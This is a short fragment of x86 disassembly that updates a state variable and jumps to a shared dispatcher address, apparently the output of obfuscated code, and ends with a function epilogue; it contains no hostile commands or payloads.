add eax, 0xac1329c1
add eax, 1
sub eax, 0xac1329c1
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xcc], 0xc33d3a20
jmp 0x4083c9
mov dword [ebp - 0xcc], 0x47861b32
jmp 0x4083c9
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0xcc], 0x8c54f66f
jmp 0x4083c9
mov eax, dword [ebp - 0x6c]
add esp, 0x274
pop esi
pop edi
pop ebx
pop ebp
ret
jmp 0x406f46